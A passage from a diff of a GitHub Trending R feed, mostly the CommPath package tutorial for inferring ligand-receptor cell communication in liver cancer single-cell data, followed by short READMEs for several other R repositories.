<em><strong>data</strong></em>, a matrix containing the normalized expression values by gene * cell; (ii) <em><strong>cell.info</strong></em>, a dataframe contain the information of cells; (iii) <em><strong>meta.info</strong></em>, a list containing some important parameters used during the analysis; (iv) <em><strong>LR.marker</strong></em>, a dataframe containing the result of differential expression test of ligands and receptors; (v) <em><strong>interact</strong></em>, a list containing the information of LR interaction among clusters; (vi) <em><strong>interact.filter</strong></em>, a list containing the information of filtered LR interaction among clusters; (vii) <em><strong>pathway</strong></em>, a list containing the information of pathways related to the ligands and receptors; (viii) <em><strong>pathway.net</strong></em>, a list containing the integrated information of the statistics of LR interactions and associated pathways.</p> <h3>CommPath input</h3> <p>The expression matrix and cell identity information are required for CommPath input. We downloaded the processed HCC scRNA-seq data from <a href="https://doi.org/10.17632/6wmzcskt6k.1">Mendeley data</a>. For a fast review and illustration of CommPath's functionalities, we randomly selected the expression data of 3000 cells across the top 5000 highly variable genes from the tumor and normal tissues, respectively. The example data are available in <a href="https://figshare.com/articles/dataset/HCC_tumor_normal_3k_RData/19090553">figshare</a>. We here illustrate the CommPath steps for data from the tumor tissues. And analysis for data from the normal tissues would be roughly in the same manner.</p> <pre><code># load(url("https://figshare.com/ndownloader/files/35185522")) load("path_to_download/HCC.tumor.3k.RData") </code></pre> <p>This dataset consists of 3 varibles, 2 of which are required for CommPath input: <em><strong>tumor.expr</strong></em> : the expression matrix of gene * cell. Expression values are required to be first normalized by the library-size and log-transformed; <em><strong>tumor.label</strong></em> : a vector of labels indicating identity classes of cells in the expression matrix, and the order of labels should match the order of cells in the expression matrix. The remaining one variable <em><strong>tumor.obj</strong></em> is the CommPath object created from <em><strong>tumor.expr</strong></em> and <em><strong>tumor.label</strong></em> and processed by CommPath standard procedures. This variable would be temporarily ignored since we will recreate it by the following steps.</p> <h4>Identification of marker ligands and receptors</h4> <p>We start CommPath analysis by creating a CommPath object:</p> <pre><code>tumor.obj &lt;- createCommPath(expr.mat = tumor.expr, cell.info = tumor.label, species = "hsapiens") </code></pre> <p>CommPath contains LR and pathway databases for human (hsapiens), mouse (mmusculus), rat (rnorvegicus), zebrafish (drerio), fruitfly (dmelanogaster), and worm (celegans) species.</p> <p>Firstly we're supposed to identify marker ligands and receptors (ligands and receptors that are significantly highly expressed) for each cluster of cells in the expression matrix. CommPath provide <strong>findLRmarker</strong> to identify these markers by <em>t.test</em> or <em>wilcox.test</em>.</p> <pre><code>tumor.obj &lt;- findLRmarker(object = tumor.obj, method = "wilcox.test") </code></pre> <h4>Statistical identification of potential ligand-receptor (LR) associations</h4> <pre><code># To find significant LR pairs tumor.obj &lt;- findLRpairs(object = tumor.obj, logFC.thre = 0, p.thre = 0.01) </code></pre> <p>The counts of Statistically significant LR pairs and overall interaction intensity among cell clusters are then stored in <em><strong>tumor.obj@interact[['InteractNumer']]</strong></em>,and the detailed information of each LR pair is stored in <em><strong>tumor.obj@interact[['InteractGene']]</strong></em>.</p> <p>Then we can visualize all interactions through a circos plot:</p> <pre><code># To show the counts of LR associations among all clusters # Here we set the parameter "filter" as FALSE, which means that those LR interactions are identified only based on their expression profiles, not filtered by pathways in the receiver cells (as described in the later sections) pdf('circosPlot.count.nonfiltered.pdf',height=6,width=6) circosPlot(object = tumor.obj, filter=FALSE) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/circosPlot.count.nonfiltered.png" height="300," width="300"> <p>In the above circos plot, the directions of lines indicate the associations from ligands to receptors, and the widths of lines represent the counts of LR pairs among clusters.</p> <pre><code># To show the overall interaction intensity of LR interactions among all clusters pdf('circosPlot.intensity.nonfiltered.pdf',height=6,width=6) circosPlot(object = tumor.obj, plot="intensity", filter=FALSE) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/circosPlot.intensity.nonfiltered.png" height="300," width="300"> <p>Now the widths of lines represent the overall interaction intensity among clusters.</p> <h4>Pathway enrichment analysis</h4> <p>CommPath conducts pathway analysis to identify dysregulated signaling pathways containing the marker ligands and receptors for each cluster.</p> <pre><code># To find pathways of which the genesets show overlap with the marker ligands and receptors # CommPath provides pathway annotations from KEGG pathways, WikiPathways, reactome pathways, and GO terms # Here we take the KEGG pathways as an example tumor.obj &lt;- findLRpath(object = tumor.obj, category = "kegg") </code></pre> <p>Now genesets showing overlap with the marker ligands and receptors are stored in <em><strong>tumor.obj@pathway[['pathwayLR']]</strong></em>. Then we score the pathways to measure the activation levels for each pathway in each cell.</p> <pre><code># To compute pathway activation score by the gsva algorithm or in an average manner # For more information about the gsva algorithm, see the GSVA package (PMID23323831) tumor.obj &lt;- scorePath(object = tumor.obj, method = "gsva", min.size = 10, parallel.sz = 4) </code></pre> <p>After that CommPath provides <strong>diffAllPath</strong> to perform pathway differential activation analysis for each cluster and find the receptors and ligands in each pathway:</p> <pre><code># To get significantly up-regulated pathways in each cluster acti.path.dat &lt;- diffAllPath(object = tumor.obj, only.posi = TRUE, only.sig = TRUE) head(acti.path.dat) </code></pre> <p>There are several columns stored in the variable <em><strong>acti.path.dat</strong></em>:</p> <p>Columns <em><strong>mean.diff</strong></em>, <em><strong>mean.1</strong></em>, <em><strong>mean.2</strong></em>, <em><strong>t</strong></em>, <em><strong>df</strong></em>, <em><strong>P.val</strong></em> and <em><strong>P.val.adj</strong></em> show the statistic results; <em><strong>description</strong></em> shows the name of pathway;</p> <p>Column <em><strong>ligand.in.path</strong></em> and <em><strong>receptor.in.path</strong></em> show the marker ligands and receptors expressed by the current cluster and included in the current pathway;</p> <p>Then we use <strong>pathHeatmap</strong> to present a heatmap of those differentially activated pathways for each cluster:</p> <pre><code>pdf('pathHeatmap.pdf',height=10,width=7) pathHeatmap(object = tumor.obj, acti.path.dat = acti.path.dat, top.n.pathway = 10, cell.aver = TRUE) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/pathHeatmap.png" height="650," width="455"> <h4>Screening LR interactions associated with activated pathways</h4> <p>For each cell cluster, CommPath identifies LR associations involved in the activated pathways to screen functional LR interactions. Those pathway-filtered interacctions are considered to be more likely to trigger the corresponding molecular pathways in the receiver cells.</p> <pre><code># To screen functional LR interactions tumor.obj &lt;- filterLR(object = tumor.obj, acti.path.dat = acti.path.dat) </code></pre> <p>Then counts of filtered significant LR pairs and the corresponding overall interaction intensity among cell clusters are stored in <em><strong><a href="mailto:tumor.obj@interact.filter">tumor.obj@interact.filter</a>[['InteractNumer']]</strong></em>,and the detailed information of each LR pair is stored in <em><strong><a href="mailto:tumor.obj@interact.filter">tumor.obj@interact.filter</a>[['InteractGene']]</strong></em>.</p> <p>We next filter the pathways by removing those pathways containing only specific marker ligands which do not triger any pathway in the downstream clusters:</p> <pre><code>acti.path.filtered.dat &lt;- filterPath(object = tumor.obj, acti.path.dat = acti.path.dat) </code></pre> <p>Filtered interactions could be also visualized through the circos plot:</p> <pre><code># To show the counts of filtered LR associations among all clusters pdf('circosPlot.count.filtered.pdf',height=6,width=6) circosPlot(object = tumor.obj, filter=TRUE) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/circosPlot.count.filtered.png" height="300," width="300"> <pre><code># To show the overall interaction intensity of filtered LR interactions among all clusters pdf('circosPlot.intensity.filtered.pdf',height=6,width=6) circosPlot(object = tumor.obj, plot="intensity", filter=TRUE) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/circosPlot.intensity.filtered.png" height="300," width="300"> <p>Users would highlight the interaction of specific clusters. Here we take the Endothelial cells as an example:</p> <pre><code>select.ident = 'Endothelial' pdf('circosPlot.Endothelial.count.filtered.pdf',height=6,width=6) circosPlot(object = tumor.obj, select.ident = select.ident, filter=TRUE) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/circosPlot.Endothelial.count.filtered.png" height="300," width="300"> <p>For a specific cluster of interest, CommPath provides function <strong>findLigand</strong> (<strong>findReceptor</strong>) to find the upstream (downstream) cluster and the corresponding ligand (receptor) interacting with the specific cluster:</p> <pre><code># To find upstream clusters and ligands for the selected cluster and receptor select.ident = "Endothelial" select.receptor = "ACKR1" ident.up.dat &lt;- findLigand(object = tumor.obj, select.ident = select.ident, select.receptor = select.receptor) head(ident.up.dat) # To find downstream clusters and receptors for the selected cluster and ligand select.ident = "Endothelial" select.ligand = "CXCL12" ident.down.dat &lt;- findReceptor(object = tumor.obj, select.ident = select.ident, select.ligand = select.ligand) head(ident.down.dat) </code></pre> <p>There are 7 columns stored in the variable <em><strong>ident.up.dat</strong></em>/<em><strong>ident.down.dat</strong></em>:</p> <p>Columns <em><strong>cell.from</strong></em>, <em><strong>cell.to</strong></em>, <em><strong>ligand</strong></em>, <em><strong>receptor</strong></em> show the upstream and dowstream clusters and the specific ligands and receptors for the LR associations;</p> <p>Columns <em><strong>log2FC.LR</strong></em>, <em><strong>P.val.LR</strong></em>, <em><strong>P.val.adj.LR</strong></em> show the interaction intensity (measured by the product of <em>log2FCs</em> of ligands and receptors) and the corresponding original and adjusted <em><strong>P</strong></em> values for hypothesis tests of the LR pairs.</p> <p>For the cluster of interest, CommPath also provides dot plots to investigate its upstream clusters which release specific ligands and its downstream clusters which express specific receptors:</p> <pre><code># To investigate the upstream clusters which release ligands to the selected cluster pdf('dotPlot.ligand.Endothelial.pdf',height=5,width=10) dotPlot.LR(object = tumor.obj, receptor.ident = select.ident) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/dotPlot.ligand.Endothelial.png" height="300," width="600"> <pre><code># To investigate the downstream clusters which express receptors for the selected cluster pdf('dotPlot.receptor.Endothelial.pdf',height=5,width=10.5) dotPlot.LR(object = tumor.obj, ligand.ident = select.ident) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/dotPlot.receptor.Endothelial.png" height="300," width="630"> <p>Then CommPath provides network graph tools to visualize the pathways and associated functional LR interactions:</p> <pre><code># First to integrate the statistics of filtered activated pathways and their associated LR interactions tumor.obj &lt;- pathNet(object = tumor.obj, acti.path.filtered.dat = acti.path.filtered.dat) # To visualize the pathways and the associated upstream LR interactions in a network plot pdf('pathNet.upstream.Endothelial.1.pdf',width=6,heigh=6) set.seed(1234) pathNetPlot(object = tumor.obj, select.ident = select.ident, plot = "upstream", layout = 'layout.davidson.harel', vert.size.LR = 3, vert.size.path.adj = 10, LR.label = 'R', vertex.label.cex.LR=0.25, vertex.label.cex.path=0.3) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/pathNet.upstream.Endothelial.png" height="600," width="780"> <p>In the above network graph, the pie charts represent the activated pathways in the selected cells (here Endothelial cells) and the scatter points represent the LR pairs of which the receptors are included in the genesets of the linked pathways. Colors of scatter points indicate the upstream clusters releasing the corresponding ligands. Sizes of pie charts indicate their total in-degree and the proportions indicate the in-degree from different upstream clusters. This plot would provide lots of important and detailed information of signaling pathways and the relevant LR interactions along the communication chains. To ensure the flexibility and interpretability, CommPath functions provide multiple optional arguments for selecting and limiting pathways and LR pairs to depict.</p> <pre><code>To select the top 5 significantly upregulated pathways in Endothelial cells pdf('pathNet.upstream.Endothelial.top5.pdf',width=6,heigh=6) set.seed(1234) pathNetPlot(object = tumor.obj, select.ident = select.ident, plot = "upstream", top.n.path=5, layout = 'layout.davidson.harel', vert.size.LR = 3, vert.size.path.adj = 10, LR.label = 'R', vertex.label.cex.LR=0.25, vertex.label.cex.path=0.3) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/pathNet.upstream.Endothelial.top5.png" height="416," width="550"> <pre><code>To select and show pathways of interest in the diagram by names of pathways directly pdf('pathNet.upstream.Endothelial.selectpathway.pdf',width=6,heigh=6) set.seed(1234) pathNetPlot(object = tumor.obj, select.ident = select.ident, plot = "upstream", select.path = c("JAK-STAT signaling pathway", "MAPK signaling pathway", "Ras signaling pathway", "PI3K-Akt signaling pathway", "AMPK signaling pathway"), layout = 'layout.davidson.harel', vert.size.LR = 3, vert.size.path.adj = 10, LR.label = 'R', vertex.label.cex.LR=0.25, vertex.label.cex.path=0.3) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/pathNet.upstream.Endothelial.selectpathway.png" height="475," width="550"> <pre><code># Also to visualize the pathways and the associated downstream LR interactions in a network plot pdf('pathNet.downstream.Endothelial.pdf',width=6,heigh=6) set.seed(1234) pathNetPlot(object = tumor.obj, select.ident = select.ident, plot = "downstream", layout = 'layout.davidson.harel', vert.size.LR = 3, vert.size.path.adj = 10, LR.label = 'L', vertex.label.cex.LR=0.25, vertex.label.cex.path=0.3) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/pathNet.downstream.Endothelial.png" height="600," width="750"> <p>The legend of the above network graph is generally the same to that of the previous network plot, except that: (i) the scatter points represent the LR pairs of which the ligands are included in the genesets of the linked pathways; (ii) colors of scatter points indicate the downstream clusters expressing the corresponding receptors; (iii) sizes of pie charts indicate their total out-degree and the proportions indicate the out-degree to different downstream clusters.</p> <p>CommPath also provides dot plot to investigate the upstream and downstream LR pairs involved in the specific pathways in the selected clusters:</p> <pre><code>pathway = "Ras signaling pathway" # To visualize the upstream LR pairs of which the receptors are expressed by Endothelial cells and are included in the pathway "Ras signaling pathway" pdf('dotPlot.Ras.pathway.upstream.Endothelial.pdf',height=5,width=7.5) dotPlot.pathway(object = tumor.obj, pathway = pathway, acti.path.filtered.dat = acti.path.filtered.dat, receptor.ident = select.ident, top.n.inter = 10) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/dotPlot.Ras.pathway.upstream.Endothelial.png" height="300," width="430"> <pre><code># To visualize the downstream LR pairs of which the ligands are released by Endothelial cells and are included in the pathway "Ras signaling pathway" pdf('dotPlot.Ras.pathway.downstream.Endothelial.pdf',height=5,width=7.5) dotPlot.pathway(object = tumor.obj, pathway = pathway, acti.path.filtered.dat = acti.path.filtered.dat, ligand.ident = select.ident, top.n.inter = 10) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/dotPlot.Ras.pathway.downstream.Endothelial.png" height="300," width="430"> <h4>Identification of pathway-mediated cell-cell communication chain</h4> <p>For a specific cell cluster, here named as B for demonstration, CommPath identifies the upstream cluster A sending signals to B, the downstream cluster C receiving signals from B, and the significantly activated pathways in B to mediate the A-B-C communication chain. More exactly, through LR and pathways analysis described above, CommPath is able to identify LR pairs between A and B, LR pairs between B and C, and pathways activated in B. Then CommPath screens for pathways in B which involve both the receptors to interact with A and ligands to interact with C.</p> <pre><code># To investigate the activated patways and the associated receptors for a specific cluster select.ident = 'Endothelial' pdf('pathPlot.Endothelial.pdf',height=6,width=10) pathPlot(object = tumor.obj, select.ident = select.ident, acti.path.dat = acti.path.filtered.dat) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/pathPlot.Endothelial.png" height="300," width="400"> <p>In the above line plot, the widths of lines between <em><strong>Upstream</strong></em> cluster and <em><strong>Receptor</strong></em> represent the overall interaction intensity between the upstream cluster and Endothelial cells via the specific receptors; the sizes and colors of dots in the <em><strong>Receptor</strong></em> column represent the average <em>log2FC</em> and <em>-log10(P)</em> from differential expression tests comparing the receptor expression in Endothelial cells to that in all other cells; the lengths and colors of bars in the <em><strong>Pathway annotation</strong></em> column represent the mean difference and <em>-log10(P)</em> form differential activation tests comparing the pathway scores in Endothelial cells to those in all other cells.</p> <pre><code># To select self-defind cluster for the central cell population # And select pathways of interest by names # Also select the top N receptors by interaction intensity select.ident = 'Endothelial' pdf('pathPlot.Endothelial.selectpathway.pdf',height=4,width=10) pathPlot(object = tumor.obj, select.ident = select.ident, up.ident = c("Treg","Myeloid","Endothelial","Fibroblast","Hepatocyte"), select.path = c("JAK-STAT signaling pathway", "MAPK signaling pathway", "Ras signaling pathway", "PI3K-Akt signaling pathway", "AMPK signaling pathway"), top.n.receptor = 5, acti.path.dat = acti.path.filtered.dat) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/pathPlot.Endothelial.selectpathway.png" height="200," width="400"> <pre><code># To investigate the activated patways, the associated receptors and ligands for a specific cluster pdf('pathChainPlot.Endothelial.pdf',height=6,width=14) pathChainPlot(object = tumor.obj, select.ident = select.ident, up.ident = c("Treg","Myeloid","Endothelial","Fibroblast","Hepatocyte"), down.ident = c("B","Myeloid","Endothelial","Fibroblast","Hepatocyte"), select.path = c("JAK-STAT signaling pathway", "MAPK signaling pathway", "Ras signaling pathway", "PI3K-Akt signaling pathway", "AMPK signaling pathway"), acti.path.dat = acti.path.filtered.dat) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/pathChainPlot.Endothelial.png" height="300," width="600"> <p>The legend of the above line plot is generally the same to that of the previous plot from <strong>pathPlot</strong>.</p> <h4>Comparison of cell-cell communication between two conditions</h4> <p>CommPath also provides useful utilities to compare cell-cell communication between two conditions such as disease and control. Here we, for example, use CommPath to compare the cell-cell communication between cells from HCC tumor and normal tissues. We have pre-created the CommPath object for the normal samples following the above steps, and the data are also available in <a href="https://figshare.com/articles/dataset/HCC_tumor_normal_3k_RData/19090553">figshare</a>.</p> <pre><code># load(url("https://figshare.com/ndownloader/files/35185525")) load("path_to_download/HCC.normal.3k.RData") </code></pre> <p>This dataset consists of 3 varibles: <em><strong>normal.expr</strong></em> : expression matrix for cells from normal tissues; <em><strong>normal.label</strong></em> : identity labels for cells from normal tissues; <em><strong>normal.obj</strong></em> : CommPath object created from <em><strong>normal.expr</strong></em> and <em><strong>normal.label</strong></em>, and processed by CommPath steps described above.</p> <p>To compare 2 CommPath objects, we shall first identify the differentially activated pathways between the same cluster of cells in the 2 objects.</p> <pre><code>select.ident &lt;- 'Endothelial' diff.path.dat &lt;- comparePath(object.1 = tumor.obj, object.2 = normal.obj, select.ident = select.ident) </code></pre> <p>Then we compare the differentially activated pathways and the cell-cell communication chain mediated by those pathways.</p> <pre><code># To compare differentially activated pathways and the involved receptors between the selected clusters in 2 CommPath objects pdf('pathPlot.compare.Endothelial.pdf',height=6,width=10) pathPlot.compare(object.1 = tumor.obj, object.2 = normal.obj, select.ident = select.ident, up.ident = c("Treg","Myeloid","Endothelial","Fibroblast","Hepatocyte"), diff.path.dat = diff.path.dat) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/pathPlot.compare.Endothelial.png" height="300," width="400"> <p>In the above line plot, the widths of lines between <em><strong>Upstream</strong></em> cluster and <em><strong>Receptor</strong></em> represent the overall interaction intensity between the upstream clusters and Endothelial cells via the specific receptors, and the colors indicate the interaction intensity is upregulated (red) or downregulated (blue) in tumor tissues (object.1) compared to that in normal tissues (object.2); the sizes and colors of dots in the <em><strong>Receptor</strong></em> column represent the average <em>log2FC</em> and <em>-log10(P)</em> of expression of receptors in Endothelial cells compared to all other cells in tumor tissues; the lengths and colors of bars in the <em><strong>Pathway annotation</strong></em> column represent the mean difference and <em>-log10(P)</em> of pathway scores of Endothelial cells in tumor tissues compared to that in normal tissues.</p> <pre><code># To compare the pathway-mediated cell-cell communication chain for a specific cluster between 2 CommPath objects pdf('pathChainPlot.compare.Endothelial.pdf',height=6,width=14) pathChainPlot.compare(object.1 = tumor.obj, object.2 = normal.obj, select.ident = select.ident, up.ident = c("Myeloid","Endothelial","Fibroblast","Hepatocyte"), down.ident = c("CD8 T","CD4 T","Treg","NK","Endothelial","Fibroblast","Hepatocyte"), select.path = c("Gastric cancer", "Relaxin signaling pathway", "Axon guidance"), diff.path.dat = diff.path.dat) dev.off() </code></pre> <img src="https://github.com/yingyonghui/SupplementaryData/raw/main/CommPath/tutorial_pic/pathChainPlot.compare.Endothelial.png" height="300," width="600"> <p>The legend of the above line plot is generally the same to that of the previous plot from <strong>pathPlot.compare</strong>.</p> <h4>sessionInfo()</h4> <pre><code>R version 3.6.0 (2019-04-26) Platform: x86_64-apple-darwin15.6.0 (64-bit) Running under: macOS Mojave 10.14.2 Matrix products: default BLAS: /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libBLAS.dylib LAPACK: /Library/Frameworks/R.framework/Versions/3.6/Resources/lib/libRlapack.dylib locale: [1] zh_CN.UTF-8/zh_CN.UTF-8/zh_CN.UTF-8/C/zh_CN.UTF-8/zh_CN.UTF-8 attached base packages: [1] stats graphics grDevices utils datasets methods base other attached packages: [1] CommPath_1.0.0 igraph_1.2.4.1 Matrix_1.2-17 ggplot2_3.3.2 [5] dplyr_1.0.7 plyr_1.8.4 reshape2_1.4.3 circlize_0.4.13 loaded via a namespace (and not attached): [1] Rcpp_1.0.1 lattice_0.20-38 digest_0.6.19 [4] packrat_0.7.0 utf8_1.1.4 mime_0.6 [7] R6_2.4.0 stats4_3.6.0 RSQLite_2.1.1 [10] pillar_1.6.4 GlobalOptions_0.1.2 rlang_0.4.12 [13] rstudioapi_0.10 annotate_1.62.0 blob_1.1.1 [16] S4Vectors_0.22.0 shinythemes_1.2.0 labeling_0.3 [19] geneplotter_1.62.0 stringr_1.4.0 RCurl_1.95-4.12 [22] bit_1.1-14 munsell_0.5.0 shiny_1.3.2 [25] GSVA_1.32.0 compiler_3.6.0 httpuv_1.5.1 [28] pkgconfig_2.0.2 BiocGenerics_0.32.0 shape_1.4.4 [31] htmltools_0.3.6 tidyselect_1.1.1 tibble_3.1.6 [34] IRanges_2.18.1 XML_3.98-1.19 fansi_0.4.0 [37] crayon_1.3.4 withr_2.4.3 later_0.8.0 [40] bitops_1.0-6 grid_3.6.0 xtable_1.8-4 [43] GSEABase_1.46.0 gtable_0.3.0 lifecycle_1.0.1 [46] DBI_1.0.0 magrittr_1.5 scales_1.1.0 [49] graph_1.62.0 stringi_1.4.3 farver_2.0.3 [52] promises_1.0.1 ellipsis_0.3.2 generics_0.0.2 [55] vctrs_0.3.8 RColorBrewer_1.1-2 tools_3.6.0 [58] bit64_0.9-7 Biobase_2.44.0 glue_1.6.0 [61] purrr_0.3.4 parallel_3.6.0 AnnotationDbi_1.48.0 [64] colorspace_1.4-1 memoise_1.1.0 </code></pre> <h2>Citation</h2> <p><a href="https://www.sciencedirect.com/science/article/pii/S2001037022004755">Lu H, Ping J, Zhou G, et al. CommPath: An R package for inference and analysis of pathway-mediated cell-cell communication chain from single-cell transcriptomics. Comput Struct Biotechnol J. 2022;20:5978-5983.</a></p> + + + PSIAIMS/CAMIS + 2023-10-30T01:34:41Z + tag:github.com,2023-10-30:/PSIAIMS/CAMIS + + <p></p><hr><h1>CAMIS</h1> <p>For more information about the CAMIS project <a href="https://psiaims.github.io/CAMIS/">see</a></p> \ No newline at end of file diff --git a/r/weekly/index.xml b/r/weekly/index.xml deleted file mode 100644 index 55ce3816c8e..00000000000 --- a/r/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub R Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:30Z - Weekly Trending of R in GitHub - - - PROGR-2324/01_git - 2023-10-29T02:00:30Z - tag:github.com,2023-10-29:/PROGR-2324/01_git - - <p></p><hr><h1>Programming in R</h1> <h2>Homework Task I -- git and GitHub</h2> <p>This is your first homework task. Since it will not be graded there is no deadline. Nevertheless, we strongly encourage you to try out this task, both to get to know the homework task format and to get to know git. All the following tasks will assume that you know how to use <code>git</code> and <em>GitHub</em>.</p> <h2>Information Material</h2> <ul> <li><a href="https://raw.githubusercontent.com/PROGR-2324/01_git/master/ProgR_01_Git.pdf">Slides</a></li> <li>Recommended resources <ul> <li><strong><a href="https://swcarpentry.github.io/git-novice/">Software Carpentry Git Course</a></strong>: A very good and thorough first <code>git</code> course that teaches how to use <code>git</code> from the command line. It is strongly recommended that you know the command line <code>git</code>, since you will understand what is going on under the hood even when using other tools. Expected reading time: 3 hours.</li> <li><strong><a href="https://happygitwithr.com/index.html">Happy Git with R</a></strong>: A course of <code>git</code>, <em>GitHub</em>, and <em>RStudio</em>. This will teach you how to use all your tools together efficiently.</li> </ul> </li> <li>Additional resources <ul> <li><strong><a href="http://gitimmersion.com/index.html">Git Immersion</a></strong>: Similar to the "<em>Software Carpentry Git Course</em>" but with less explanation.</li> <li><strong><a href="https://web.archive.org/web/20200709150612/http://r-pkgs.had.co.nz/git.html">Git and GitHub</a></strong> from the book "R Packages" (1st edition) by Hadley Wickham: A quick intro on how to use <code>git</code>, <em>GitHub</em>, and <em>RStudio</em> that is shorter than "<em>Happy Git with R</em>" above and may be for you if you are a quick learner.</li> <li><strong><a href="https://guides.github.com/activities/hello-world/">GitHub Introduction</a></strong>: Get to know the <em>GitHub</em> web interface</li> <li><strong>Cheat Sheets</strong> are an excellent way to keep a reference around and to look up commands you may have forgot. The big <code>git</code> companies all offer one (and GitHub isn't necessarily the best): <a href="https://github.github.com/training-kit/downloads/github-git-cheat-sheet.pdf">GitHub</a>, <a href="https://about.gitlab.com/images/press/git-cheat-sheet.pdf">GitLab</a>, <a href="https://www.atlassian.com/git/tutorials/atlassian-git-cheatsheet">Atlassian</a>. Look at all of them and see if you find them useful.</li> </ul> </li> </ul> <h2>The Task</h2> <p>This is a project that was set up by different characters, who submitted their work to different branches. However, in the current state their individual contributions are in different branches and have not yet been brought together. Your task is to find out who created what part of the work, and to combine their efforts to get a working project.</p> <p>You will very likely not be able to do this unless you read a good part of at least one of the sources. Your reward will be that you find out how <code>git</code> works <em>now</em>, while you don't have to stress about deadlines.</p> <h3>Setup</h3> <ol> <li>"<code>fork</code>" this repository to your own GitHub Account</li> <li>"<code>clone</code>" your own fork to your laptop</li> </ol> <h3>Inspection</h3> <ol start="3"> <li>Look at the different branches present in the repository. How do they relate? (Hint: <code>git branch --all</code> is useful here. The "History" button in RStudio's "Git" pane may also be useful: try to show "(all branches)".)</li> <li>What branch / what character was working on which function?</li> </ol> <h3>Merging</h3> <ol start="5"> <li>Combine all the different branches into the master branch. You will get at least one "merge conflict", which you have to resolve intelligently: consider which of the conflicting edits is more "valuable". Note that you should not blindly merge all branches you find, because some branches are "parents" of other branches.</li> </ol> <h3>After You Merge</h3> <ol start="6"> <li>Can you find out what part of the resulting code was created by what character? You could browse commits in <em>GitHub</em>, you could use <em>GitHub</em>'s "blame" function, and you can use <code>git blame</code>. Get familiar with all of them.</li> </ol> <h3>Rendering</h3> <ol start="7"> <li>You whould now be able to load <code>sierpinski.Rmd</code> in your RStudio session and render it, getting a nice animation. Your result should look like this:</li> </ol> <p><img src="https://raw.githubusercontent.com/PROGR-2324/01_git/master/sier.png" alt="Sierpinski Triangle"></p> - - - nrennie/r-pharma-2023-tidymodels - 2023-10-29T02:00:30Z - tag:github.com,2023-10-29:/nrennie/r-pharma-2023-tidymodels - - <p>R/Pharma 2023 Conference workshop materials.</p><hr><h1>R/Pharma Conference 2023</h1> <h2>Workshop: Introduction to machine learning with {tidymodels}</h2> <p>Machine learning (ML) is an important aspect of data science that can be used to create predictions, make classifications, and uncover insights in data that can be difficult to detect. ML models are becoming increasingly common in medical and pharmaceutical settings, from aiding in patient diagnosis to analysing responses to treatment. {tidymodels} is a collection of R packages that can be used for various aspects of machine learning pipelines, including sampling data, building and fitting models, and performance evaluation. {tidymodels} provides a consistent, user-friendly approach to fitting machine learning models in R.</p> <p>This interactive workshop will introduce some common machine learning techniques including (but not limited to) Lasso regression, random forests, and support vector machines, and demonstrate how to fit these models in R using {tidymodels}. We'll also cover some of the common issues arising in machine learning such as dealing with imbalanced data, biases in predictive performance, parameter tuning and model over-fitting. No previous knowledge of machine learning is required for this workshop, though familiarity with some statistical concepts such as correlation, variability, and simple linear regression may be helpful. Being reasonably comfortable with data wrangling using {dplyr} and {tidyr} would be beneficial to attendees.</p> <h3>Useful Links</h3> <ul> <li> <p>GitHub: <a href="https://github.com/nrennie/r-pharma-2023-tidymodels">github.com/nrennie/r-pharma-2023-tidymodels</a></p> </li> <li> <p>Slides: <a href="https://nrennie.github.io/r-pharma-2023-tidymodels">nrennie.github.io/r-pharma-2023-tidymodels</a></p> </li> <li> <p>Q &amp; A blog post: <a href="https://nrennie.rbind.io/blog/answering-some-tidymodels-questions/">nrennie.rbind.io/blog/answering-some-tidymodels-questions</a></p> </li> </ul> - - - noriakis/ggkegg - 2023-10-29T02:00:30Z - tag:github.com,2023-10-29:/noriakis/ggkegg - - <p>Analyzing and visualizing KEGG information using the grammar of graphics</p><hr><h1>ggkegg</h1> <!-- badges: start --> <p><a href="https://github.com/noriakis/ggkegg/actions/workflows/R-CMD-check.yaml"><img src="https://github.com/noriakis/ggkegg/actions/workflows/R-CMD-check.yaml/badge.svg?sanitize=true" alt="R-CMD-check"></a></p> <!-- badges: end --> <p>A set of functions to analyse and plot the KEGG information using <code>tidygraph</code>, <code>ggraph</code> and <code>ggplot2</code>.</p> <p>The detailed documentation is <a href="https://noriakis.github.io/software/ggkegg">here</a> using <code>bookdown</code>.</p> <h2>Installation</h2> <p>Using <code>BiocManager</code>:</p> <pre><code class="language-r">BiocManager::install("ggkegg") </code></pre> <p>Using <code>devtools</code>:</p> <pre><code class="language-r">devtools::install_github("noriakis/ggkegg") </code></pre> <h2>Examples</h2> <pre><code class="language-r">library(ggkegg) library(ggfx) library(igraph) library(tidygraph) library(dplyr) pathway("ko01100") |&gt; process_line() |&gt; highlight_module(module("M00021")) |&gt; 